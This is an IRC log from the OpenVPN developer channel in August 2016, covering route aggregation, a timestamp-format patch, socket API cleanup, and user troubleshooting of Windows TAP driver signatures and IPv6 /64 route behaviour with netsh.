< valdikss> cron2: You mean using dynamic routing protocols? 15:45 <@cron2> no, *aggregate* 15:45 < valdikss> cron2: what do you mean exactly? 15:45 <@cron2> instead of pushing, like, 250 /24, push a /16 with a few the /24s not included in the /16 going to "net_gateway" 15:45 < valdikss> cron2: Most addresses are /32 15:46 <@cron2> why? 15:46 < valdikss> cron2: because that's how they are blocked by Russian government. 15:47 <@cron2> sure, but what would be wrong about pushing slightly larger networks, encompassing a number of /32s at once? (A bit more traffic anonymized, true) 15:48 <@cron2> 67000 env vars sounds like 30000 routes, which is really pushing things 15:48 < valdikss> cron2: well, that's sounds more like a workaround 15:49 < valdikss> cron2: some IP addresses are from very different networks, so it wouldn't be very optimal. 15:49 <@cron2> that's how the Internet scales, as a whole - you don't announce /32s, but networks 15:49 < valdikss> cron2: Some addresses are already combined in a larger networks 15:52 <@cron2> valdikss: btw, still waiting for your test report on lev__'s recursive routing patch... 15:53 < valdikss> cron2: Yes, sorry, I know, I know… I promise will test it tomorrow, for sure. 15:53 <@cron2> that would be cool :) --- Day changed Sun Aug 07 2016 05:10 < valdikss> https://github.com/ValdikSS/openvpn-with-patches/commit/ac2802fc025814910bfb5016e53371e89fabc3e1 05:10 <@vpnHelper> Title: Do not pass env for system commands on Linux · ValdikSS/openvpn-with-patches@ac2802f · GitHub (at github.com) 05:11 < valdikss> https://github.com/ValdikSS/openvpn-with-patches/commit/b69e6837abe751933a17f82cf7e83bef4118ce25 05:11 <@vpnHelper> Title: Do not pass env for system commands on Windows · ValdikSS/openvpn-with-patches@b69e683 · GitHub (at github.com) 05:11 < valdikss> https://github.com/ValdikSS/openvpn-with-patches/commit/dbbd0d38db08e4dce02f2342092837c956b5bb37 05:11 <@vpnHelper> Title: Do not pass env for system commands on OS X · ValdikSS/openvpn-with-patches@dbbd0d3 · GitHub (at github.com) --- Day changed Mon Aug 08 2016 06:12 <@syzzer> any plans for a meeting tonight? 07:18 <@cron2> I'm around, though not very energetic today - bad cough 07:18 <@cron2> haven't seen mattock, so maybe still on vacation 08:09 <@syzzer> ok, I'll opt for sports tonight then - been documenting all day, so brains will be pretty much numb anyway... 08:34 <@dazo> syzzer: speaking of documentation ... I've started outlining the rfc ... once the main structure begins to take shape I'll point you to a repo where I'll keep the work 08:37 <@syzzer> dazo: ok, cool. let me know when you have something I can take a look at :) 08:37 < Thermi> uuuuh rfc 08:38 <@dazo> syzzer: will do ... I hope you don't mind I chose XML over the nroff format .... :) 08:42 <@syzzer> dazo: both look terrible, so "don't care" ;) 08:44 <@dazo> heheh :) 11:01 <@cron2> dazo: oh, cool. XML is good 11:01 <@cron2> (for RFCs) 21:24 <@ecrist> anyone around? --- Day changed Tue Aug 09 2016 02:24 <@cron2> ecrist: now 07:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Changing host] 07:16 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 07:16 -!- ServerMode/#openvpn-devel [+o dazo] by sendak.freenode.net --- Day changed Wed Aug 10 2016 07:04 -!- Algernop__ is now known as Algernop 13:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Quit: Ciao] 13:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Thu Aug 11 2016 03:52 <@vpnHelper> RSS Update - tickets: #719: replace ctime with POSIX time format <https://community.openvpn.net/openvpn/ticket/719> 03:53 <@syzzer> ^ +1 03:56 <@cron2> *g* - the thing is that "git grep time_string" turns up LOTS of places where time strings (= ctime() today) are used - so this needs quite a bit of review :) 03:57 <@cron2> but I think we could do that for 2.4... "MAKE THINGS GREAT AGAIN!" :-) 03:57 <@syzzer> hehe 03:57 <@syzzer> people are not going to recognize 2.4 as openvpn anymore ;) 04:00 <@cron2> are you going to remove p2p mode, static key mode, and 80% of all options? ;-) 04:03 <@syzzer> heh, no, that's "3.0" ;) 07:12 <@plaisthos> cron2: the grep looks not scary at all to me 07:13 <@plaisthos> and machine-readable-output which I implemented for ics-openvpn already ignore the most important one that is the logging in error.c 07:14 <@plaisthos> the other usages all seem to be random debug/status messages that need to output a date for some reason 07:21 <@dazo> syzzer: just looked at README.polarssl ... that should probably be updated? As polarssl have been renamed to mbedtls other places ... or? 08:01 <@syzzer> dazo: yes, sounds like it :') 08:12 <@cron2> plaisthos: thanks. I'll send a patch :) 08:22 <@plaisthos> when you do the next patch apply session show the "[Openvpn-devel] [PATCH] Incorporate the Debian typo fixes where appropriate and make show_opt default message clearer" a bit of love ;) 12:37 <@plaisthos> dazo: thanks for also makeing the point 12:42 <@dazo> :) 12:44 * dazo wonders if Selva is here now ..... 14:05 <@cron2> dazo: so what are you working on @ openvpn tech these days? 14:07 <@dazo> cron2: the rfc, looking into if/how we can make use of DBus for more advanced management functionalities, looking into if we can manage to unify GUIs ... and various ad-hoc stuff on -devel and other things I stumble upon 14:10 <@cron2> there's lots of stuff to stumble upon indeed :) 14:20 <@dazo> :) 14:23 <@dazo> I looked into 'info libtoolize' and saw the "Motivation for writing libtool" part .... and one of the goal is: The system must be as elegant as possible. 14:24 <@dazo> I'm not quite sure they managed that ......... 14:24 <@dazo> or perhaps they managed, it was just not possible to make it any better ......... 14:24 <@cron2> if you need shared libraries, libtool is actually fairly nice :) 14:24 <@cron2> because cross-platform shared library building is a hairy mess of nightmares 14:25 <@dazo> yeah, true enough 14:25 <@cron2> (like, for example, dovecot on AIX totally failing to build plugins...) 14:25 <@dazo> hmmm .... just thinking ... should we move all those plug-ins out of the core? As we did with windows-tap and easy-rsa? 14:26 <@dazo> that way we could completely scrap libtool in the core, and let the plug-ins have libtool 14:26 <@dazo> (the plug-ins are shared objects ... so they can benefit from it) 14:27 <@cron2> the plugins will need libtool 14:28 <@dazo> and afair, they are the only users of it 14:28 <@cron2> but I'd keep them in - moving these tiny bits out is just putting burden on package/port maintainers to bring them back 14:28 <@dazo> well, with that said ... the the LT_INIT fix is the least troublesome .... it's the subdir-object stuff which is truly painful 14:28 <@dazo> Just adding LT_INIT works on all platforms 14:28 <@dazo> (which I tested) 14:29 <@cron2> wrt the POSIX timestamp patch: this is intended as point of discussion to see if someone shouts, so it's not intended to commit this "before two weeks" or so (even if syzzer likes it :) ) - and if people point out that we can't break management interface compatibility, I'm not offended 14:31 <@dazo> got a pointer to that one? I don't see it in my mailbox :/ 14:31 <@cron2> oh, still sitting in my out-queue, stuck in greylisting *poke* 14:32 <@dazo> ahh :) 14:32 <@cron2> 503-193.149.48.174 is not yet authorized to deliver mail from 14:32 <@cron2> grrr 14:32 <@cron2> well, it will show up, and there is no urgency behind that one - it's a "stumbled across" thing :) 14:32 <@dazo> :) 14:42 <@cron2> ah, dang, the patch needs a Changes.rst note. Will do a v2 if noone objects in principle 15:52 <@plaisthos> cron2: I will give an ACK on V2 15:52 <@plaisthos> cron2: why aren't you using strftime? 17:06 < ServNick> Hello, seem to be unable to get help on the other channels, would someone be able to answer a question about driver signatures on Windows? 17:37 < Thermi> ServNick: I fought with signatures. What's the question? 17:38 < ServNick> Thanks for replying; Windows seems to not want to verify the signatures, for some reason. 17:38 < ServNick> Please ask me for details, if necessary. 17:39 < Thermi> urm 17:39 < Thermi> whose signatures? 17:39 < Thermi> The one of the TAP driver that you can get on the openvpn website? 17:40 < ServNick> Yes. 17:40 < Thermi> what's the error you get? 17:40 < Thermi> Please tell me verbatim 17:40 < ServNick> Well. 17:40 < ServNick> I cannot connect, first of all. 17:40 < Thermi> I don't understand how that has anything to do with the signature 17:41 < ServNick> Very much as in this link here: https://yeri.be/openvpn-windows-7 17:41 < ServNick> Now, in device manager, the adapters show with yellow exclamation marks. 17:41 < Thermi> You're not giving me the required information. I asked for the verbatim error you're getting. Are you implying you're getting the error "All TAP-Win32 adapters on this system are currently in use"? 17:42 < ServNick> Copy-pasting the message from properties: Windows cannot verify the digital signature for the drivers required for this device. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. (Code 52) 17:42 < Thermi> Okay 17:42 < ServNick> And, yes, I think that's what was in the log. 17:42 < ServNick> All adapters in use. 17:43 < Thermi> Did this ever work for you? 17:43 < ServNick> No, problems started on installation. 17:44 < ServNick> The installer from the OpenVPN website. 17:44 < Thermi> What tap driver version did you install? 17:44 < ServNick> Where could this be seen? 17:44 < ServNick> In device manager, I think it says v9, is this what you would be asking? 17:44 < Thermi> It's in the name of the executable 17:45 < Thermi> The newest one for Windows 7 is 9.21.x 17:45 < Thermi> To be exact, 9.21.2 17:45 < ServNick> Yes, however, they had to be included with the installer, didn't they? 17:46 < Thermi> Yes, the installer should come with the driver 17:46 < ServNick> So that's what I have installed. 17:46 < ServNick> At first, it gave errors during installation. 17:46 < Thermi> It would have been good to know these errors 17:47 < Thermi> Please run the "Delete ALL TAP virtual ethernet[...]" application in thte TAP-Windows menu in the start menu with administrative privileges 17:47 < Thermi> then run the "Add a new TAP virtual ethernet[...]" application in the same menu 17:47 < Thermi> again with administrative rights 17:48 < Thermi> If any errors come up, please tell me them 17:48 < ServNick> Well, just at some point, while installing, it gets to 'installing TAP drivers/adapters"(not sure which), then hanged there for a while, and gave an error message. 17:48 < ServNick> Not the last time I installed, however, but still not connecting. 17:48 < ServNick> Please give me a second. 17:51 < ServNick> Ok, it says 3 devices are removed, so no errors for now. :) 17:54 < ServNick> Hmm, it says 'Drivers installed successfully', so no error messages for now; also, in device manager, -at the moment- the adapter that can be seen does not have the yellow !. 17:55 < ServNick> But, in 'Properties', it says 'No drivers are installed for this device'. 17:55 < Thermi> lol 17:56 < ServNick> All right - so now it displays the same message as before, 'Windows cannot verify' etc. 17:58 < Thermi> Okay, remove that device and please install the driver again. There's a file called "OemVista.inf" somewhere under Programs 17:58 < Thermi> Search for it, then right click, "install". 17:58 < Thermi> Aknowledge the UCI request 17:58 < Thermi> and tell me what errors that gives you 18:00 < ServNick> Ok - remove the device as I just did? Also, where should the OemVista file be - don't see one under 'All Programs' in the start menu? 18:01 < Thermi> Use the search function 18:01 < Thermi> TAP-Windows\driver 18:02 < ServNick> The search doesn't seem to find such a file. 18:02 < ServNick> Except for a text file, which is a log I saved - it is the only one that shows up. 18:02 < Thermi> Okay, mind installing the TAP-Windows driver from the website then? 18:03 < ServNick> Only the driver, the download that is a bit below the GUI installers? 18:03 < Thermi> yes, only the driver. 18:04 < ServNick> The tap-windows-9.21.2.exe? If it is this, installing it on top of the OpenVPN installation was the last thing I did before coming here. 18:04 < ServNick> So, it should be installed already. 18:05 < Thermi> Yes, then that file should be somewhere on your hard drive 18:05 < ServNick> The installer is there, yes. 18:06 < Thermi> No, I mean the OemVista.inf file. 18:06 < ServNick> I don't know - the search doesn't seem to find it. 18:07 < ServNick> I will look in downloads. 18:07 < Thermi> It will be in the directory the driver was installed. 18:07 < Thermi> to 18:07 < Thermi> For me, it's C:\Program Files\TAP-Windows\driver 18:07 < ServNick> Let me see. 18:08 < Thermi> If you have the aforementioned applications, you can look at the execution path of the shortcuts. Those applications are bat scripts that are installed with the driver. 18:08 < Thermi> They are in the bin directory of the driver. 18:08 < ServNick> Ok, that file is there. 18:09 < ServNick> Same location. 18:09 < ServNick> And there are 3 files in the bin folder, 2 bat and 1 exe. 18:09 < Thermi> I only care about the OemVista.inf 18:10 < ServNick> Yes, it is in the driver folder. 18:10 < Thermi> As I mentioned before, install it. 18:11 < ServNick> Ok, so what to remove first - the adapter I just created? 18:11 < Thermi> Yes. 18:13 < ServNick> Error message: The INF file you selected does not support this method of installation. 18:13 < Thermi> Bummer. 18:13 < Thermi> then go to the bin direvtory and run "tapinstall" 18:13 < Thermi> with admin privileges, please. 18:13 < ServNick> Is this not the same as installing from the start menu? 18:14 < Thermi> I didn't know you had a shortcut there 18:15 < ServNick> Well, as in All Programs - TAP Windows - Utilities - Add a new TAP etc. 18:15 < ServNick> Or shall I just run tapinstall.exe? 18:15 < Thermi> Hnh. Nvm. 18:16 < Thermi> the addtap.bat file just runs tapisntall.exe with parameters. 18:16 < ServNick> Hmm, I see... 18:16 < Thermi> I guess the certificate that signed the driver isn't valid anymore or your system doesn't have all the required certificates 18:17 < ServNick> Would the GnuPG links on the download website have anything to do with it? 18:17 < Thermi> no. 18:17 < ServNick> Or, this: https://openvpn.net/index.php/open-source/documentation/sig.html 18:17 <@vpnHelper> Title: File Signatures (at openvpn.net) 18:18 < Thermi> no. 18:18 < ServNick> It says instructions for verifying the signatures. 18:18 < Thermi> It has nothing to do with the signature on the actual driver. 18:22 < ServNick> I see my antivirus has put both installers in the trusted applications, but one of the uninstallers in the low restricted, however, except for that file, I see nothing related there. --- Day changed Fri Aug 12 2016 02:26 <@cron2> plaisthos: should I change to using strftime()? For some reason, we've never become friends - but indeed, "%F %T" should work as well 02:26 <@cron2> (I think I wanted to stick to buf_printf(), that's why :) ) 04:41 <@plaisthos> cron2: I was just wondering how portable acessing the struct of tm is 04:48 <@cron2> plaisthos: as far as I understand, at least these fields are totally well-defined (read: it works on SCO Unix from 20 years ago :) ) 05:05 <@plaisthos> cron2: :) 05:05 <@cron2> dazo: can you check with James if anything he builds relies on the time stamp(s) on the management interface being a particular format? 05:05 <@dazo> cron2: I'll do that! 05:05 <@cron2> these are what worries me most (AS and Connect client for Windows, and whatever still uses 2.x under the hood) 05:05 <@cron2> our own gui, I trust Selva to speak up on this :) 05:06 <@plaisthos> Good that I never looked into parsing the odd format :D 05:06 <@plaisthos> I needed the verbosity message level and thus a new log format anyway 05:06 <@plaisthos> I guess I would otherwise just used strptime 05:09 <@cron2> indeed, that was a clever move :) 05:16 <@plaisthos> there is also a backport of that for 2.2 ;) 05:21 * cron2 is not merging that :) 05:40 <@plaisthos> Ask LTM why they are insiting on using openvpn 2.2 ... 09:53 <@dazo> gee.... how the sourceforge mail archive s***s .... 10:28 <@vpnHelper> RSS Update - gitrepo: Avoid format specifier %zu for Windows compatibility <https://github.com/OpenVPN/openvpn/commit/d1bd37fd508ee0462daa21011e781198964be921> 12:08 <@dazo> cron2: James don't think AS or Connect clients would be sensitive to a timestamp format change 12:33 <@cron2> good :) 12:38 <@cron2> wtf, "POSIX" time stamps? This is ISO, isn't it? 12:55 <@dazo> heh ... probably :) 12:56 <@dazo> cron2: wouldn't it be safer to use strftime()? 13:01 <@dazo> btw ... I've registered -devel ML on mail-archive.com ... https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/ 13:01 <@dazo> I've also started a registration on marc.info too, but that's still pending 13:06 <@cron2> dazo: strftime is less portable than localtime and struct tm 13:06 <@cron2> also, with strftime we'd need an extra buffer - which is why stuck to the existing buf_sprintf() 13:08 <@cron2> (localtime() is guaranteed to be the same on every C90 system, while strftime() *itself* is C90, not all format identifiers are) 13:18 <@dazo> fair enough 13:25 <@dazo> heh ... so plaisthos thought of strftime() too :) 13:27 * dazo ponders how long grace time we should give the timestamp patch, as plaisthos ACKed it 14:17 <@cron2> "a few days, or a week, or so" - this is in no way urgent, and that way we avoid "OMG DO NOT DO THAT!" by people that only read mail on week days... 14:32 <@dazo> cron2: replied to your libtool concerns ... but have a look at /usr/share/aclocal/libtool.m4 ... it's not overly complicated (to be m4) ... and when looking even more carefully at it, it seems LT_INIT calls _LT_SETUP which adds some fixes for AIX 14:32 <@dazo> (_LT_SETUP is also inside libtool.m4) 15:23 <@dazo> plaisthos: do you happen to be around? 15:23 <@dazo> (probably not, though) 20:44 <+krzee> hey guys i have a question about traveling within the EU 20:45 <+krzee> when i travel within USA i can take 2 backpacks on the airplane, 1 is "carry-on" and the other is a "personal item" because it is made to carry a laptop, so its a laptop case 20:46 <+krzee> will that work in EU or are they going to make me check one of them? --- Day changed Sat Aug 13 2016 03:51 <@syzzer> krzee: depends on the airline 03:51 <@syzzer> the cheap ones are going to make you check one in (and pay a lot for that) 03:53 <@syzzer> cron2: ah, good, you've applied the cast-patch before I could start a war (not that I was planning to do so, but still funny to say... ;) ) 03:55 <@cron2> syzzer: actually, Selva and Dazo are to blaim :-) 03:55 <@cron2> blame 03:56 <@syzzer> ah, really? well, I'm still blaming you for the casts! ;) 03:57 <@syzzer> no, I agree with the consensus :) 03:59 <@cron2> if it helps bringing forward world peace and OpenVPN 2.4, I'm happy to take all the blame ;-) 04:20 <@cron2> *sigh* 04:21 * cron2 had decided to ignore all the time zone offset compatibility nightmare, as long as it works on "platforms that have tun/tap" (so 20 year old SCO is out anyway) 04:21 <@cron2> AIX has tap, but *no* time zone offset field in struct tm 04:22 <@cron2> ... and neither has Solaris 04:24 <@cron2> Solaris would have strftime(%z)... but AIX does not... sheesh... 08:30 <+krzee> syzzer: thanks 08:57 <@ecrist> is it true that all the push parameters need to fit in a single packet, so the MTU of the control channel will affect how much can be pushed to a client? 09:15 <@ecrist> ping - anyone alive? 09:21 * ecrist discoverd doxygen 09:21 <@ecrist> discovers* 10:54 <@syzzer> ecrist: no, there's 'PUSH_CONTINUATION' to spread push messages across multiple packets 11:13 <@ecrist> thanks 11:32 <+krzee> ecrist: i believe i remember when push params were split into multiple 11:32 <+krzee> but i could be wrong 11:32 <+krzee> oh meh it was answered 13:10 <@cron2> ecrist: as krzee said :-) - and it's good, with valdikss pushing something like 10000 routes to clients... 13:10 <@cron2> bigger MTU significantly speeds this up, but it worked before - and this is old stuff, it was already there when I started (and we had to fix a few bugs with it :) ) 13:13 <@ecrist> thanks 15:22 <@cron2> https://www.youtube.com/watch?v=CtztrcGkCBw - just rediscovered this magic person --- Day changed Sun Aug 14 2016 02:56 <@syzzer> cron2, plaisthos: is there a reason we are using recvfrom(), instead of recvmsg() in the non--multihome case? 02:57 <@syzzer> I've been toying with recvmmsg() a bit yesterday, which gave me somewhere between 2-4% performance win, but then I noticed that recvmsg() is only used if --multihome is enabled 03:00 <@syzzer> (performance win was iperf-throughput on a single netns-to-netns client-server connection, might be more to gain with many clients) 03:45 <@cron2> syzzer: I have no idea - code predates my involvement 03:45 <@cron2> why is recvmsg() so much faster? 03:52 <@cron2> ah 03:52 <@cron2> recv*m*msg --- Day changed Mon Aug 15 2016 06:07 <@mattock> hi, I'm back 06:10 <@cron2> whee! 06:10 <@cron2> mattockman :-) 06:11 <@cron2> so, shall we do a meeting tonight, to realign everyone? 06:28 <@mattock> yeah, that would work 06:28 <@mattock> dazo said he can probably make it 06:29 <@mattock> topics? 07:13 <@plaisthos> syzzer: recvfrom is a generic API that is 1980 bsd or so 07:13 <@plaisthos> recvmsg might be similarly old but revmmsg is Linux*ism 07:16 <@plaisthos> syzzer: We do similar strange stuff for tun on Linux 07:16 <@plaisthos> use write/read for ipv4 and writemsg/readmsg for ipv6 07:17 <@syzzer> mattock: I can be there too tonight 07:17 <@syzzer> plaisthos: I'm aware that recvmmsg() must be #ifdef LINUX 07:19 <@syzzer> man recvmsg says 'CONFORMING TO POSIX.1-2001, POSIX.1-2008, 4.4BSD (these interfaces first appeared in 4.2BSD)' 07:20 <@syzzer> so sounds like if I write a patch to remove our duplicate implementation, that might actually get applied? ;) 07:22 <@plaisthos> syzzer: for tun or for recvmsg/recvmmsg/recvfrom? 07:23 <@syzzer> for udp sockets 07:23 <@syzzer> we now have an recvfrom() and a recvmsg() implementation 07:23 <@plaisthos> the tun stuff, I have a patch prepared 07:23 <@syzzer> or, more correctly, implementation using recvfrom/recvmsg 07:24 <@plaisthos> that actually makes tun-ipv6 a noop 07:24 <@syzzer> that sounds like welcome cleanup too 07:24 <@syzzer> I didn't touch the tun parts, just noticed those use a different API, and then ignored the code ;) 07:32 <@plaisthos> yeah, I was wondering about tun-ipv6 and looks if it is still necessary 07:32 <@plaisthos> I don't we support a single OS that does not support IPv6 tun anymore 07:52 <@cron2> well, theoretically there is more overhead on dual-stack tun than on ipv4-only... (transmitting 4 byte extra) 07:53 <@cron2> but for the sake of simplicity, and assuming IPv6 is here to stay, we could just ditch ipv4-only mode (= make tun-ipv6 the default) 07:59 <@plaisthos> cron2: no it isn't 07:59 <@plaisthos> we just set the tun option to include header for ipv6/ipv4 mode and don't that on ipv4 07:59 <@plaisthos> for no good reason 08:00 <@cron2> plaisthos: well, "overhead"? 08:00 <@cron2> it's extra bytes to be compied around... 08:00 <@cron2> (not on the wire, but on the tun socket) 08:01 <@cron2> (as a side note, there is *very old* NetBSD which doesn't do ipv6 on tun interfaces, and chokes if you try to make it - but that's like 3.x and they're at 7.x - so if someone really wants NetBSD 3.x support, they can use OpenVPN 2.3.x) 08:01 <@syzzer> wouldn't surprise me if keeping an extra branch around is more expensive than copying 4 extra bytes per copy 08:04 <@cron2> syzzer: ack 08:21 <@mattock> I'll create a topic page and send out meeting invitation 08:34 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-08-15 08:34 <@vpnHelper> Title: Topics-2016-08-15 – OpenVPN Community (at community.openvpn.net) 08:34 <@mattock> quite empty, please fill in 08:37 <@mattock> invitation sent 10:17 <@ecrist> mattock: you still around? 10:18 <@ecrist> the man page listing on the website is out of order 10:18 <@ecrist> also, I'm going to do some software updates on the forum server 10:21 * ecrist updates 89 packages 12:58 <@mattock> ecrist: how did the update go? 13:00 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+v janjust] by ChanServ 13:00 <+janjust> Hi y'all 13:01 <@cron2> hi janjust :-) - we're over at #openvpn-meeting 13:56 <@cron2> !blame 13:56 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault 13:56 <@cron2> dazo: wrong channel :) 13:57 <@dazo> heh 14:07 <@ecrist> mattock: update went smooth - we'll see if it resolves some of the instability. 14:22 <@mattock> ok, good 14:55 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 15:47 <@syzzer> cron2: are you sure --fragment is broken by NCP? 15:48 <@syzzer> the fragment code doesn't seem to touch c->c2.frame (which the NCP-code is fiddling with) 15:49 <@syzzer> if anything, I think it will need a fix different from the --mssfix fix 16:34 <@cron2> syzzer: I'm not *sure* it is broken - but I suspect it is, as --fragment also sets the maximum mtu value in the frame structure 16:34 <@cron2> (which is then reset later on) 16:39 <@cron2> so maybe only that part needs to be re-initialized... but I need to test, and the test setup is still not done 20:33 <@vpnHelper> RSS Update - tickets: #720: Add tls-auth to profiles. <https://community.openvpn.net/openvpn/ticket/720> --- Day changed Tue Aug 16 2016 01:38 <@mattock> cron2: https://community.openvpn.net/openvpn/ticket/721 01:38 <@vpnHelper> Title: #721 (tap-windows6: Implement option to disable source IP check of ARP requests) – OpenVPN Community (at community.openvpn.net) 01:42 <@vpnHelper> RSS Update - tickets: #721: tap-windows6: Implement option to disable source IP check of ARP requests <https://community.openvpn.net/openvpn/ticket/721> 01:56 <@cron2> thanks 01:59 <@mattock> trac actually shows the diff quite nicely 02:00 <@mattock> the changes are not very big 06:09 < mollox> Hi, I noticed here : https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 : The problem of "OpenVPN on windows breaks if more than one tap adapter and --tun-ipv6 is used" .. does this mean "if two instances of openvpn are both using tun-ipv6" ? 06:09 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) 06:31 <@mattock> could someone send me a transcript of yesterday's meeting? the "laptop's screen suddenly turned gray" made me loose some of the history 06:55 <@cron2> mollox: no, it means exactly what is ays 06:56 <@cron2> two tap adapters installed, one openvpn instance, --tun-ipv6 is used 06:56 < mollox> mattock .. I have a trascript i can send you 07:00 < mollox> cron2: I am currently running w10p with 1x ovpn-serv-ipv6 + 1x ovpn-cli-ipv6 with no issue ? 07:00 <@cron2> single TAP driver or multiple TAP drivers? Referencing drivers with --dev-node, or not? 07:01 < mollox> both with --dev-type tun --dev-node tun0/1 etc 07:02 <@cron2> with --dev-node, there is no problem. Without --dev-node, both instances will fail, instead of "just use the first free adapter" 07:02 < mollox> I often have more than 10 TAP drivers installed 07:02 < mollox> ahh ok i understan 07:03 < mollox> thanks for clarifying 07:03 <@cron2> d12fk's patch "should" fix that, but needs detailed testing as it throws out some assumptions about "what windows needs" 07:04 < mollox> ok .. well i can test on windows as needed 07:07 <@vpnHelper> RSS Update - tickets: #722: management interface is stuck <https://community.openvpn.net/openvpn/ticket/722> 07:16 < mollox> mattock is samuli right ? 07:16 <@ecrist> yes 07:17 < mollox> cheerz 07:19 < mollox> mattock: inbox fopr meeting log 07:35 <@mattock> mollox: yeah, noticed, thanks! 07:39 < mollox> np 07:46 < mollox> I have taken great care to specify all ipv6 routes as /112 in my config (not using server or server-ipv6) and openvpn always adds a /64 route for the vpn subnet .. is this ipv6 or openvpn requirement ? 07:51 <@cron2> the vpn subnet is controlled by what you specify in --ifconfig-ipv6 - and if you do not put netbits there, it defaults to /64 09:23 < mollox> cron2: I have got this working with all /112 on linux .. but on w10p i am still getting the /64 route added, I have checked very carefully that all route6 and ifconfig6 use /112 .. the only thing I can see that may have something to do with it is this: 09:25 < mollox> netsh.exe interface ipv6 set address interface=14 12fc:1918::10:37:101:110 store=active 09:25 < mollox> so there is no /112 09:26 < mollox> this is the ccd in use: 09:26 < mollox> ifconfig-ipv6-push 12fc:1918::10:37:101:110/112 12fc:1918::10:37:101:101 09:26 < mollox> ping6 works btw 09:27 < mollox> This is the equivelent log line for linux: 09:28 < mollox> /sbin/ifconfig tunc37101 add 12fc:1918::10:37:101:238/112 09:29 < mollox> This is the ccd in use for linux: 09:29 < mollox> ifconfig-ipv6-push 12fc:1918::10:37:101:238/112 12fc:1918::10:37:101:101 09:29 <@cron2> there should be a netsh.exe call for the route being set up 09:30 < mollox> there is .. let me retreive it 09:33 < mollox> netsh.exe interface ipv6 add route 12fc:1918::10:37:101:0/112 interface=14 fe80::8 store=active 09:34 < mollox> This is the route in question (w10p): 09:34 < mollox> 14 276 12fc:1918::/64 on-link 09:37 <@cron2> mmmh. Might be that windows will *nowadays* auto-add this if no /netbits is specified in "netsh interface ipv6 set addr"... back in the day, it did not 09:37 < mollox> actually .. I see I am getting some route failed so I will paste the log to a pastebin for you to see 09:42 < mollox> before I paste, refering to your comment: I am pushing the netbits to windows PUSH reply shows it is all there but then either openvpn or windows does not appear to apply them in the assign to the interface .. is it possible to use --win-ip-method manual with ipv6 ? if so I'll try manual assign 09:44 <@cron2> see my last comment 09:44 < mollox> netbits are specified .. 09:44 <@cron2> back in the day, windows needed to set the address in one step, and set the "connected net" as route in the second step - and as you've seen, the second step *does* use the /112 09:45 <@cron2> if there is a /64, windows has created it, and that is new behaviour - maybe it will work on win10 to do step 1 with "address and /112", and not add a route in step 2 - needs testing 09:48 <@cron2> plaisthos: could you please re-ACK syzzer's warning patches now that they are public? 09:50 <@plaisthos> cron2: yeah 09:51 <@plaisthos> syzzer, cron2: what is our statement on c99/c89? 09:51 < mollox> unfortunately --ip-win32 manual only works for v4 09:51 <@plaisthos> syzzer's new patches are not c99 safe 09:53 <@plaisthos> I will just ack and let you sort out that c89/c99 problem ;) 09:54 <@syzzer> not c89 safe ;) 09:54 <@plaisthos> err yes :) 09:54 <@plaisthos> not being c99 safe is quite an achievement but possible 09:55 <@syzzer> hm, but yeah, I forgot to re-evaluate that, sorry. Feel free to change or make me send a new patch 09:56 <@plaisthos> syzzer: I only caught this because gcc seem to complain about that now 10:05 <@syzzer> hm, I think I've seen gcc complain about it before, but I can't reproduce... 10:11 < mollox> cron2: update .. I have gotten rid of the /64 route by doing the following: 10:12 < mollox> 1. do *not* ifconfig-ipv6-push (so no setting of the tun 6 address) 10:12 < mollox> 2. setup ipv4 normally 10:13 < mollox> 3. connect 10:13 < mollox> netsh.exe interface ipv6 set address interface=14 12fc:1918::10:37:101:110/112 store=active 10:14 < mollox> that was step 4 ^^ from admin command prompt 10:14 < mollox> ping -6 may not work .. still wrestling with it 10:17 < mollox> ofcourse .. by *not* pushing an ipv6 address the server does not learn the address 10:49 < mollox> Crazy stuff : ifconfig-noexec is only working for IPv4 .. IPv6 is being set! 10:49 < mollox> ^^ 10:56 <+krzee> mollox: so basically the update is that you were able to manually add a ipv6 route to your routing table? 10:56 <+krzee> :D 10:57 <+krzee> s/route/ip/ 10:58 < mollox> krzee: I can add the /112 route manually and use betsh.exe to assign ipv6 with /112 to the adapter which in turn means the /64 route no longer shows up ... but .. it does not actually work .. I am still trying to figure out if it is me or openvpn .. --ifconfig-noexec is only stopping ipv4 again (re my mail before) and ipv6 is being set if i push it from the server# 10:59 < mollox> it may be this git version .. 10:59 < mollox> dunno 11:02 <+krzee> its openvpn, cron explained 11:04 < mollox> ok .. that was not how i understood but no prob .. I am going to persevere with it till I get the right result .. then I'll let you know what i have to do 12:05 <@cron2> mollox: ifconfig-noexec affects both IPv4 and IPv6 - check the logs 12:06 <@cron2> but windows keeps the addresses and routes around unless you manually remove them, so you might see remainders from previous runs 12:18 < mollox> cron2: i think that is what I am seeing .. thanks .. I just tyook a crash course in netsh ;) 12:26 < mollox> cron2: would you recommend a down.bat to delete all the left over routes and IP .. that is what i am trying. 12:29 < mollox> also, I realise you probably mean for IPv6 stuff .. 12:38 < mollox> ug .. IPv6 parms are not kept in env ... 12:39 <@cron2> mollox: you need the down.bat, otherwise it will fail at the next --up - or you just do IPv6 outside of OpenVPN, setting stuff permanently (leave out the "store=active" and it will stick) 12:42 < mollox> ahh nice thank you 12:43 < mollox> er .. but i actually want it deleted not remain .. don't worry about it, i'll get there ,, dinner time now ;) 13:19 < mollox> I have worked out 'that' --ifconfig-noexec is not working but not 'why' .. @ --verb 4 in the log i see: ifconfig_noexec = DISABLED .. ?? it is definitely in the config file .. wtf 17:10 < mollox> Sorry to bother you .. why does --ifconfig-noexec not work for IPv6 ? 18:50 < mollox> OK 